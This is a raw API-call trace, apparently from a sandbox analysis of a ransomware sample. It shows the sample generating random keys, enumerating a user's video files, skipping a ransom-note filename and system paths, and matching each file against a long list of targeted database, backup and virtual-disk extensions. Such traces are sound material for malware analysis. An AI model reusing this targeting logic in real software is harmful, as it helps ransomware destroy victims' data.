	[0086.372] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.372] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.373] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2820, lpName=0x0) returned 0x15c
	[0086.373] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2820) returned 0x100000
	[0086.373] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.374] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.374] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.374] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.374] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.374] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.374] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.374] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.375] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.375] CloseHandle (hObject=0x15c) returned 1
	[0086.375] CloseHandle (hObject=0x9c) returned 1
	[0086.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.376] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x390842f0, ftCreationTime.dwHighDateTime=0x1d4caae, ftLastAccessTime.dwLowDateTime=0x3013b0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3013b0d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X0JMpELFNa", cAlternateFileName="X0JMPE~1")) returned 1
	[0086.376] lstrcmpiW (lpString1="X0JMpELFNa", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.376] lstrcmpiW (lpString1="X0JMpELFNa", lpString2="Apollon865.txt.exe") returned 1
	[0086.376] lstrcmpiW (lpString1="X0JMpELFNa", lpString2=".") returned 1
	[0086.376] lstrcmpiW (lpString1="X0JMpELFNa", lpString2="..") returned 1
	[0086.376] lstrcmpiW (lpString1="X0JMpELFNa", lpString2="windows") returned 1
	[0086.376] lstrcmpiW (lpString1="X0JMpELFNa", lpString2="bootmgr") returned 1
	[0086.376] lstrcmpiW (lpString1="X0JMpELFNa", lpString2="temp") returned 1
	[0086.376] lstrcmpiW (lpString1="X0JMpELFNa", lpString2="pagefile.sys") returned 1
	[0086.376] lstrcmpiW (lpString1="X0JMpELFNa", lpString2="boot") returned 1
	[0086.376] lstrcmpiW (lpString1="X0JMpELFNa", lpString2="ids.txt") returned 1
	[0086.376] lstrcmpiW (lpString1="X0JMpELFNa", lpString2="ntuser.dat") returned 1
	[0086.376] lstrcmpiW (lpString1="X0JMpELFNa", lpString2="perflogs") returned 1
	[0086.376] lstrcmpiW (lpString1="X0JMpELFNa", lpString2="MSBuild") returned 1
	[0086.376] lstrlenW (lpString="X0JMpELFNa") returned 10
	[0086.376] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\wEs3wMzBy1manSFNm_E3.flv") returned 61
	[0086.376] lstrcpyW (in: lpString1=0x119e652, lpString2="X0JMpELFNa" | out: lpString1="X0JMpELFNa") returned="X0JMpELFNa"
	[0086.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0086.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5730
	[0086.377] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b50 | out: ListHead=0x5b75f0, ListEntry=0x5b7b50) returned 0x5b7c90
	[0086.377] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4835b0, ftCreationTime.dwHighDateTime=0x1d4cb80, ftLastAccessTime.dwLowDateTime=0xca0d2290, ftLastAccessTime.dwHighDateTime=0x1d4d48e, ftLastWriteTime.dwLowDateTime=0xca0d2290, ftLastWriteTime.dwHighDateTime=0x1d4d48e, nFileSizeHigh=0x0, nFileSizeLow=0x1063c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zBJy4rsUfgo XgJyxz-.mkv", cAlternateFileName="ZBJY4R~1.MKV")) returned 1
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2="Apollon865.txt.exe") returned 1
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2=".") returned 1
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2="..") returned 1
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2="windows") returned 1
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2="bootmgr") returned 1
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2="temp") returned 1
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2="pagefile.sys") returned 1
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2="boot") returned 1
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2="ids.txt") returned 1
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2="ntuser.dat") returned 1
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2="perflogs") returned 1
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2="MSBuild") returned 1
	[0086.377] lstrlenW (lpString="zBJy4rsUfgo XgJyxz-.mkv") returned 23
	[0086.377] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa") returned 47
	[0086.377] lstrcpyW (in: lpString1=0x119e652, lpString2="zBJy4rsUfgo XgJyxz-.mkv" | out: lpString1="zBJy4rsUfgo XgJyxz-.mkv") returned="zBJy4rsUfgo XgJyxz-.mkv"
	[0086.377] lstrlenW (lpString="zBJy4rsUfgo XgJyxz-.mkv") returned 23
	[0086.377] lstrlenW (lpString="Apollon865") returned 10
	[0086.377] lstrcmpiW (lpString1="gJyxz-.mkv", lpString2="Apollon865") returned 1
	[0086.377] lstrlenW (lpString=".dll") returned 4
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2=".dll") returned 1
	[0086.377] lstrlenW (lpString=".lnk") returned 4
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2=".lnk") returned 1
	[0086.377] lstrlenW (lpString=".ini") returned 4
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2=".ini") returned 1
	[0086.377] lstrlenW (lpString=".sys") returned 4
	[0086.377] lstrcmpiW (lpString1="zBJy4rsUfgo XgJyxz-.mkv", lpString2=".sys") returned 1
	[0086.377] lstrlenW (lpString="zBJy4rsUfgo XgJyxz-.mkv") returned 23
	[0086.377] lstrlenW (lpString="bak") returned 3
	[0086.377] lstrcmpiW (lpString1="mkv", lpString2="bak") returned 1
	[0086.377] lstrlenW (lpString="ba_") returned 3
	[0086.378] lstrcmpiW (lpString1="mkv", lpString2="ba_") returned 1
	[0086.378] lstrlenW (lpString="dbb") returned 3
	[0086.378] lstrcmpiW (lpString1="mkv", lpString2="dbb") returned 1
	[0086.378] lstrlenW (lpString="vmdk") returned 4
	[0086.378] lstrcmpiW (lpString1=".mkv", lpString2="vmdk") returned -1
	[0086.378] lstrlenW (lpString="rar") returned 3
	[0086.378] lstrcmpiW (lpString1="mkv", lpString2="rar") returned -1
	[0086.378] lstrlenW (lpString="zip") returned 3
	[0086.378] lstrcmpiW (lpString1="mkv", lpString2="zip") returned -1
	[0086.378] lstrlenW (lpString="tgz") returned 3
	[0086.378] lstrcmpiW (lpString1="mkv", lpString2="tgz") returned -1
	[0086.378] lstrlenW (lpString="vbox") returned 4
	[0086.378] lstrcmpiW (lpString1=".mkv", lpString2="vbox") returned -1
	[0086.378] lstrlenW (lpString="vdi") returned 3
	[0086.378] lstrcmpiW (lpString1="mkv", lpString2="vdi") returned -1
	[0086.378] lstrlenW (lpString="vhd") returned 3
	[0086.378] lstrcmpiW (lpString1="mkv", lpString2="vhd") returned -1
	[0086.378] lstrlenW (lpString="vhdx") returned 4
	[0086.378] lstrcmpiW (lpString1=".mkv", lpString2="vhdx") returned -1
	[0086.378] lstrlenW (lpString="avhd") returned 4
	[0086.378] lstrcmpiW (lpString1=".mkv", lpString2="avhd") returned -1
	[0086.378] lstrlenW (lpString="db") returned 2
	[0086.378] lstrcmpiW (lpString1="kv", lpString2="db") returned 1
	[0086.378] lstrlenW (lpString="db2") returned 3
	[0086.378] lstrcmpiW (lpString1="mkv", lpString2="db2") returned 1
	[0086.378] lstrlenW (lpString="db3") returned 3
	[0086.378] lstrcmpiW (lpString1="mkv", lpString2="db3") returned 1
	[0086.378] lstrlenW (lpString="dbf") returned 3
	[0086.378] lstrcmpiW (lpString1="mkv", lpString2="dbf") returned 1
	[0086.378] lstrlenW (lpString="mdf") returned 3
	[0086.379] lstrcmpiW (lpString1="mkv", lpString2="mdf") returned 1
	[0086.379] lstrlenW (lpString="mdb") returned 3
	[0086.379] lstrcmpiW (lpString1="mkv", lpString2="mdb") returned 1
	[0086.379] lstrlenW (lpString="sql") returned 3
	[0086.379] lstrcmpiW (lpString1="mkv", lpString2="sql") returned -1
	[0086.379] lstrlenW (lpString="sqlite") returned 6
	[0086.379] lstrcmpiW (lpString1="z-.mkv", lpString2="sqlite") returned 1
	[0086.379] lstrlenW (lpString="sqlite3") returned 7
	[0086.379] lstrcmpiW (lpString1="xz-.mkv", lpString2="sqlite3") returned 1
	[0086.379] lstrlenW (lpString="sqlitedb") returned 8
	[0086.379] lstrcmpiW (lpString1="yxz-.mkv", lpString2="sqlitedb") returned 1
	[0086.379] lstrlenW (lpString="xml") returned 3
	[0086.379] lstrcmpiW (lpString1="mkv", lpString2="xml") returned -1
	[0086.379] lstrlenW (lpString="$er") returned 3
	[0086.379] lstrcmpiW (lpString1="mkv", lpString2="$er") returned 1
	[0086.379] lstrlenW (lpString="4dd") returned 3
	[0086.379] lstrcmpiW (lpString1="mkv", lpString2="4dd") returned 1
	[0086.379] lstrlenW (lpString="4dl") returned 3
	[0086.379] lstrcmpiW (lpString1="mkv", lpString2="4dl") returned 1
	[0086.379] lstrlenW (lpString="^^^") returned 3
	[0086.379] lstrcmpiW (lpString1="mkv", lpString2="^^^") returned 1
	[0086.379] lstrlenW (lpString="abs") returned 3
	[0086.379] lstrcmpiW (lpString1="mkv", lpString2="abs") returned 1
	[0086.379] lstrlenW (lpString="abx") returned 3
	[0086.379] lstrcmpiW (lpString1="mkv", lpString2="abx") returned 1
	[0086.379] lstrlenW (lpString="accdb") returned 5
	[0086.379] lstrcmpiW (lpString1="-.mkv", lpString2="accdb") returned -1
	[0086.379] lstrlenW (lpString="accdc") returned 5
	[0086.379] lstrcmpiW (lpString1="-.mkv", lpString2="accdc") returned -1
	[0086.379] lstrlenW (lpString="accde") returned 5
	[0086.379] lstrcmpiW (lpString1="-.mkv", lpString2="accde") returned -1
	[0086.379] lstrlenW (lpString="accdr") returned 5
	[0086.379] lstrcmpiW (lpString1="-.mkv", lpString2="accdr") returned -1
	[0086.379] lstrlenW (lpString="accdt") returned 5
	[0086.379] lstrcmpiW (lpString1="-.mkv", lpString2="accdt") returned -1
	[0086.379] lstrlenW (lpString="accdw") returned 5
	[0086.380] lstrcmpiW (lpString1="-.mkv", lpString2="accdw") returned -1
	[0086.380] lstrlenW (lpString="accft") returned 5
	[0086.380] lstrcmpiW (lpString1="-.mkv", lpString2="accft") returned -1
	[0086.380] lstrlenW (lpString="adb") returned 3
	[0086.380] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.380] lstrlenW (lpString="adb") returned 3
	[0086.380] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.380] lstrlenW (lpString="ade") returned 3
	[0086.380] lstrcmpiW (lpString1="mkv", lpString2="ade") returned 1
	[0086.380] lstrlenW (lpString="adf") returned 3
	[0086.380] lstrcmpiW (lpString1="mkv", lpString2="adf") returned 1
	[0086.380] lstrlenW (lpString="adn") returned 3
	[0086.380] lstrcmpiW (lpString1="mkv", lpString2="adn") returned 1
	[0086.380] lstrlenW (lpString="adp") returned 3
	[0086.380] lstrcmpiW (lpString1="mkv", lpString2="adp") returned 1
	[0086.380] lstrlenW (lpString="alf") returned 3
	[0086.380] lstrcmpiW (lpString1="mkv", lpString2="alf") returned 1
	[0086.380] lstrlenW (lpString="ask") returned 3
	[0086.380] lstrcmpiW (lpString1="mkv", lpString2="ask") returned 1
	[0086.380] lstrlenW (lpString="btr") returned 3
	[0086.380] lstrcmpiW (lpString1="mkv", lpString2="btr") returned 1
	[0086.380] lstrlenW (lpString="cat") returned 3
	[0086.380] lstrcmpiW (lpString1="mkv", lpString2="cat") returned 1
	[0086.380] lstrlenW (lpString="cdb") returned 3
	[0086.380] lstrcmpiW (lpString1="mkv", lpString2="cdb") returned 1
	[0086.380] lstrlenW (lpString="ckp") returned 3
	[0086.380] lstrcmpiW (lpString1="mkv", lpString2="ckp") returned 1
	[0086.380] lstrlenW (lpString="cma") returned 3
	[0086.380] lstrcmpiW (lpString1="mkv", lpString2="cma") returned 1
	[0086.380] lstrlenW (lpString="cpd") returned 3
	[0086.380] lstrcmpiW (lpString1="mkv", lpString2="cpd") returned 1
	[0086.380] lstrlenW (lpString="dacpac") returned 6
	[0086.380] lstrcmpiW (lpString1="z-.mkv", lpString2="dacpac") returned 1
	[0086.380] lstrlenW (lpString="dad") returned 3
	[0086.380] lstrcmpiW (lpString1="mkv", lpString2="dad") returned 1
	[0086.380] lstrlenW (lpString="dadiagrams") returned 10
	[0086.380] lstrcmpiW (lpString1="gJyxz-.mkv", lpString2="dadiagrams") returned 1
	[0086.381] lstrlenW (lpString="daschema") returned 8
	[0086.381] lstrcmpiW (lpString1="yxz-.mkv", lpString2="daschema") returned 1
	[0086.381] lstrlenW (lpString="db-journal") returned 10
	[0086.381] lstrcmpiW (lpString1="gJyxz-.mkv", lpString2="db-journal") returned 1
	[0086.381] lstrlenW (lpString="db-shm") returned 6
	[0086.381] lstrcmpiW (lpString1="z-.mkv", lpString2="db-shm") returned 1
	[0086.381] lstrlenW (lpString="db-wal") returned 6
	[0086.381] lstrcmpiW (lpString1="z-.mkv", lpString2="db-wal") returned 1
	[0086.381] lstrlenW (lpString="dbc") returned 3
	[0086.381] lstrcmpiW (lpString1="mkv", lpString2="dbc") returned 1
	[0086.381] lstrlenW (lpString="dbs") returned 3
	[0086.381] lstrcmpiW (lpString1="mkv", lpString2="dbs") returned 1
	[0086.381] lstrlenW (lpString="dbt") returned 3
	[0086.381] lstrcmpiW (lpString1="mkv", lpString2="dbt") returned 1
	[0086.381] lstrlenW (lpString="dbv") returned 3
	[0086.381] lstrcmpiW (lpString1="mkv", lpString2="dbv") returned 1
	[0086.381] lstrlenW (lpString="dbx") returned 3
	[0086.381] lstrcmpiW (lpString1="mkv", lpString2="dbx") returned 1
	[0086.381] lstrlenW (lpString="dcb") returned 3
	[0086.381] lstrcmpiW (lpString1="mkv", lpString2="dcb") returned 1
	[0086.381] lstrlenW (lpString="dct") returned 3
	[0086.381] lstrcmpiW (lpString1="mkv", lpString2="dct") returned 1
	[0086.381] lstrlenW (lpString="dcx") returned 3
	[0086.381] lstrcmpiW (lpString1="mkv", lpString2="dcx") returned 1
	[0086.381] lstrlenW (lpString="ddl") returned 3
	[0086.381] lstrcmpiW (lpString1="mkv", lpString2="ddl") returned 1
	[0086.381] lstrlenW (lpString="dlis") returned 4
	[0086.381] lstrcmpiW (lpString1=".mkv", lpString2="dlis") returned -1
	[0086.381] lstrlenW (lpString="dp1") returned 3
	[0086.381] lstrcmpiW (lpString1="mkv", lpString2="dp1") returned 1
	[0086.381] lstrlenW (lpString="dqy") returned 3
	[0086.381] lstrcmpiW (lpString1="mkv", lpString2="dqy") returned 1
	[0086.381] lstrlenW (lpString="dsk") returned 3
	[0086.381] lstrcmpiW (lpString1="mkv", lpString2="dsk") returned 1
	[0086.381] lstrlenW (lpString="dsn") returned 3
	[0086.382] lstrcmpiW (lpString1="mkv", lpString2="dsn") returned 1
	[0086.382] lstrlenW (lpString="dtsx") returned 4
	[0086.382] lstrcmpiW (lpString1=".mkv", lpString2="dtsx") returned -1
	[0086.382] lstrlenW (lpString="dxl") returned 3
	[0086.382] lstrcmpiW (lpString1="mkv", lpString2="dxl") returned 1
	[0086.382] lstrlenW (lpString="eco") returned 3
	[0086.382] lstrcmpiW (lpString1="mkv", lpString2="eco") returned 1
	[0086.382] lstrlenW (lpString="ecx") returned 3
	[0086.382] lstrcmpiW (lpString1="mkv", lpString2="ecx") returned 1
	[0086.382] lstrlenW (lpString="edb") returned 3
	[0086.382] lstrcmpiW (lpString1="mkv", lpString2="edb") returned 1
	[0086.382] lstrlenW (lpString="epim") returned 4
	[0086.382] lstrcmpiW (lpString1=".mkv", lpString2="epim") returned -1
	[0086.382] lstrlenW (lpString="fcd") returned 3
	[0086.382] lstrcmpiW (lpString1="mkv", lpString2="fcd") returned 1
	[0086.382] lstrlenW (lpString="fdb") returned 3
	[0086.382] lstrcmpiW (lpString1="mkv", lpString2="fdb") returned 1
	[0086.382] lstrlenW (lpString="fic") returned 3
	[0086.382] lstrcmpiW (lpString1="mkv", lpString2="fic") returned 1
	[0086.382] lstrlenW (lpString="flexolibrary") returned 12
	[0086.382] lstrcmpiW (lpString1=" XgJyxz-.mkv", lpString2="flexolibrary") returned -1
	[0086.382] lstrlenW (lpString="fm5") returned 3
	[0086.382] lstrcmpiW (lpString1="mkv", lpString2="fm5") returned 1
	[0086.382] lstrlenW (lpString="fmp") returned 3
	[0086.382] lstrcmpiW (lpString1="mkv", lpString2="fmp") returned 1
	[0086.382] lstrlenW (lpString="fmp12") returned 5
	[0086.382] lstrcmpiW (lpString1="-.mkv", lpString2="fmp12") returned -1
	[0086.382] lstrlenW (lpString="fmpsl") returned 5
	[0086.382] lstrcmpiW (lpString1="-.mkv", lpString2="fmpsl") returned -1
	[0086.382] lstrlenW (lpString="fol") returned 3
	[0086.382] lstrcmpiW (lpString1="mkv", lpString2="fol") returned 1
	[0086.382] lstrlenW (lpString="fp3") returned 3
	[0086.382] lstrcmpiW (lpString1="mkv", lpString2="fp3") returned 1
	[0086.382] lstrlenW (lpString="fp4") returned 3
	[0086.382] lstrcmpiW (lpString1="mkv", lpString2="fp4") returned 1
	[0086.382] lstrlenW (lpString="fp5") returned 3
	[0086.382] lstrcmpiW (lpString1="mkv", lpString2="fp5") returned 1
	[0086.383] lstrlenW (lpString="fp7") returned 3
	[0086.383] lstrcmpiW (lpString1="mkv", lpString2="fp7") returned 1
	[0086.383] lstrlenW (lpString="fpt") returned 3
	[0086.383] lstrcmpiW (lpString1="mkv", lpString2="fpt") returned 1
	[0086.383] lstrlenW (lpString="frm") returned 3
	[0086.383] lstrcmpiW (lpString1="mkv", lpString2="frm") returned 1
	[0086.383] lstrlenW (lpString="gdb") returned 3
	[0086.383] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.383] lstrlenW (lpString="gdb") returned 3
	[0086.383] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.383] lstrlenW (lpString="grdb") returned 4
	[0086.383] lstrcmpiW (lpString1=".mkv", lpString2="grdb") returned -1
	[0086.383] lstrlenW (lpString="gwi") returned 3
	[0086.383] lstrcmpiW (lpString1="mkv", lpString2="gwi") returned 1
	[0086.383] lstrlenW (lpString="hdb") returned 3
	[0086.383] lstrcmpiW (lpString1="mkv", lpString2="hdb") returned 1
	[0086.383] lstrlenW (lpString="his") returned 3
	[0086.383] lstrcmpiW (lpString1="mkv", lpString2="his") returned 1
	[0086.383] lstrlenW (lpString="ib") returned 2
	[0086.383] lstrcmpiW (lpString1="kv", lpString2="ib") returned 1
	[0086.383] lstrlenW (lpString="idb") returned 3
	[0086.383] lstrcmpiW (lpString1="mkv", lpString2="idb") returned 1
	[0086.383] lstrlenW (lpString="ihx") returned 3
	[0086.383] lstrcmpiW (lpString1="mkv", lpString2="ihx") returned 1
	[0086.383] lstrlenW (lpString="itdb") returned 4
	[0086.383] lstrcmpiW (lpString1=".mkv", lpString2="itdb") returned -1
	[0086.383] lstrlenW (lpString="itw") returned 3
	[0086.383] lstrcmpiW (lpString1="mkv", lpString2="itw") returned 1
	[0086.383] lstrlenW (lpString="jet") returned 3
	[0086.383] lstrcmpiW (lpString1="mkv", lpString2="jet") returned 1
	[0086.383] lstrlenW (lpString="jtx") returned 3
	[0086.383] lstrcmpiW (lpString1="mkv", lpString2="jtx") returned 1
	[0086.383] lstrlenW (lpString="kdb") returned 3
	[0086.383] lstrcmpiW (lpString1="mkv", lpString2="kdb") returned 1
	[0086.383] lstrlenW (lpString="kexi") returned 4
	[0086.383] lstrcmpiW (lpString1=".mkv", lpString2="kexi") returned -1
	[0086.383] lstrlenW (lpString="kexic") returned 5
	[0086.384] lstrcmpiW (lpString1="-.mkv", lpString2="kexic") returned -1
	[0086.384] lstrlenW (lpString="kexis") returned 5
	[0086.384] lstrcmpiW (lpString1="-.mkv", lpString2="kexis") returned -1
	[0086.384] lstrlenW (lpString="lgc") returned 3
	[0086.384] lstrcmpiW (lpString1="mkv", lpString2="lgc") returned 1
	[0086.384] lstrlenW (lpString="lwx") returned 3
	[0086.384] lstrcmpiW (lpString1="mkv", lpString2="lwx") returned 1
	[0086.384] lstrlenW (lpString="maf") returned 3
	[0086.384] lstrcmpiW (lpString1="mkv", lpString2="maf") returned 1
	[0086.384] lstrlenW (lpString="maq") returned 3
	[0086.384] lstrcmpiW (lpString1="mkv", lpString2="maq") returned 1
	[0086.384] lstrlenW (lpString="mar") returned 3
	[0086.384] lstrcmpiW (lpString1="mkv", lpString2="mar") returned 1
	[0086.384] lstrlenW (lpString="marshal") returned 7
	[0086.384] lstrcmpiW (lpString1="xz-.mkv", lpString2="marshal") returned 1
	[0086.384] lstrlenW (lpString="mas") returned 3
	[0086.384] lstrcmpiW (lpString1="mkv", lpString2="mas") returned 1
	[0086.384] lstrlenW (lpString="mav") returned 3
	[0086.384] lstrcmpiW (lpString1="mkv", lpString2="mav") returned 1
	[0086.384] lstrlenW (lpString="maw") returned 3
	[0086.384] lstrcmpiW (lpString1="mkv", lpString2="maw") returned 1
	[0086.384] lstrlenW (lpString="mdbhtml") returned 7
	[0086.384] lstrcmpiW (lpString1="xz-.mkv", lpString2="mdbhtml") returned 1
	[0086.384] lstrlenW (lpString="mdn") returned 3
	[0086.384] lstrcmpiW (lpString1="mkv", lpString2="mdn") returned 1
	[0086.384] lstrlenW (lpString="mdt") returned 3
	[0086.384] lstrcmpiW (lpString1="mkv", lpString2="mdt") returned 1
	[0086.384] lstrlenW (lpString="mfd") returned 3
	[0086.384] lstrcmpiW (lpString1="mkv", lpString2="mfd") returned 1
	[0086.384] lstrlenW (lpString="mpd") returned 3
	[0086.384] lstrcmpiW (lpString1="mkv", lpString2="mpd") returned -1
	[0086.384] lstrlenW (lpString="mrg") returned 3
	[0086.384] lstrcmpiW (lpString1="mkv", lpString2="mrg") returned -1
	[0086.384] lstrlenW (lpString="mud") returned 3
	[0086.384] lstrcmpiW (lpString1="mkv", lpString2="mud") returned -1
	[0086.384] lstrlenW (lpString="mwb") returned 3
	[0086.385] lstrcmpiW (lpString1="mkv", lpString2="mwb") returned -1
	[0086.385] lstrlenW (lpString="myd") returned 3
	[0086.385] lstrcmpiW (lpString1="mkv", lpString2="myd") returned -1
	[0086.385] lstrlenW (lpString="ndf") returned 3
	[0086.385] lstrcmpiW (lpString1="mkv", lpString2="ndf") returned -1
	[0086.385] lstrlenW (lpString="nnt") returned 3
	[0086.385] lstrcmpiW (lpString1="mkv", lpString2="nnt") returned -1
	[0086.385] lstrlenW (lpString="nrmlib") returned 6
	[0086.385] lstrcmpiW (lpString1="z-.mkv", lpString2="nrmlib") returned 1
	[0086.385] lstrlenW (lpString="ns2") returned 3
	[0086.385] lstrcmpiW (lpString1="mkv", lpString2="ns2") returned -1
	[0086.385] lstrlenW (lpString="ns3") returned 3
	[0086.385] lstrcmpiW (lpString1="mkv", lpString2="ns3") returned -1
	[0086.385] lstrlenW (lpString="ns4") returned 3
	[0086.385] lstrcmpiW (lpString1="mkv", lpString2="ns4") returned -1
	[0086.385] lstrlenW (lpString="nsf") returned 3
	[0086.385] lstrcmpiW (lpString1="mkv", lpString2="nsf") returned -1
	[0086.385] lstrlenW (lpString="nv") returned 2
	[0086.385] lstrcmpiW (lpString1="kv", lpString2="nv") returned -1
	[0086.385] lstrlenW (lpString="nv2") returned 3
	[0086.385] lstrcmpiW (lpString1="mkv", lpString2="nv2") returned -1
	[0086.385] lstrlenW (lpString="nwdb") returned 4
	[0086.385] lstrcmpiW (lpString1=".mkv", lpString2="nwdb") returned -1
	[0086.385] lstrlenW (lpString="nyf") returned 3
	[0086.385] lstrcmpiW (lpString1="mkv", lpString2="nyf") returned -1
	[0086.385] lstrlenW (lpString="odb") returned 3
	[0086.385] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.385] lstrlenW (lpString="odb") returned 3
	[0086.385] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.385] lstrlenW (lpString="oqy") returned 3
	[0086.385] lstrcmpiW (lpString1="mkv", lpString2="oqy") returned -1
	[0086.385] lstrlenW (lpString="ora") returned 3
	[0086.385] lstrcmpiW (lpString1="mkv", lpString2="ora") returned -1
	[0086.385] lstrlenW (lpString="orx") returned 3
	[0086.385] lstrcmpiW (lpString1="mkv", lpString2="orx") returned -1
	[0086.385] lstrlenW (lpString="owc") returned 3
	[0086.385] lstrcmpiW (lpString1="mkv", lpString2="owc") returned -1
	[0086.386] lstrlenW (lpString="p96") returned 3
	[0086.386] lstrcmpiW (lpString1="mkv", lpString2="p96") returned -1
	[0086.386] lstrlenW (lpString="p97") returned 3
	[0086.386] lstrcmpiW (lpString1="mkv", lpString2="p97") returned -1
	[0086.386] lstrlenW (lpString="pan") returned 3
	[0086.386] lstrcmpiW (lpString1="mkv", lpString2="pan") returned -1
	[0086.386] lstrlenW (lpString="pdb") returned 3
	[0086.386] lstrcmpiW (lpString1="mkv", lpString2="pdb") returned -1
	[0086.386] lstrlenW (lpString="pdm") returned 3
	[0086.386] lstrcmpiW (lpString1="mkv", lpString2="pdm") returned -1
	[0086.386] lstrlenW (lpString="pnz") returned 3
	[0086.386] lstrcmpiW (lpString1="mkv", lpString2="pnz") returned -1
	[0086.386] lstrlenW (lpString="qry") returned 3
	[0086.386] lstrcmpiW (lpString1="mkv", lpString2="qry") returned -1
	[0086.386] lstrlenW (lpString="qvd") returned 3
	[0086.386] lstrcmpiW (lpString1="mkv", lpString2="qvd") returned -1
	[0086.386] lstrlenW (lpString="rbf") returned 3
	[0086.386] lstrcmpiW (lpString1="mkv", lpString2="rbf") returned -1
	[0086.386] lstrlenW (lpString="rctd") returned 4
	[0086.386] lstrcmpiW (lpString1=".mkv", lpString2="rctd") returned -1
	[0086.386] lstrlenW (lpString="rod") returned 3
	[0086.386] lstrcmpiW (lpString1="mkv", lpString2="rod") returned -1
	[0086.386] lstrlenW (lpString="rodx") returned 4
	[0086.386] lstrcmpiW (lpString1=".mkv", lpString2="rodx") returned -1
	[0086.386] lstrlenW (lpString="rpd") returned 3
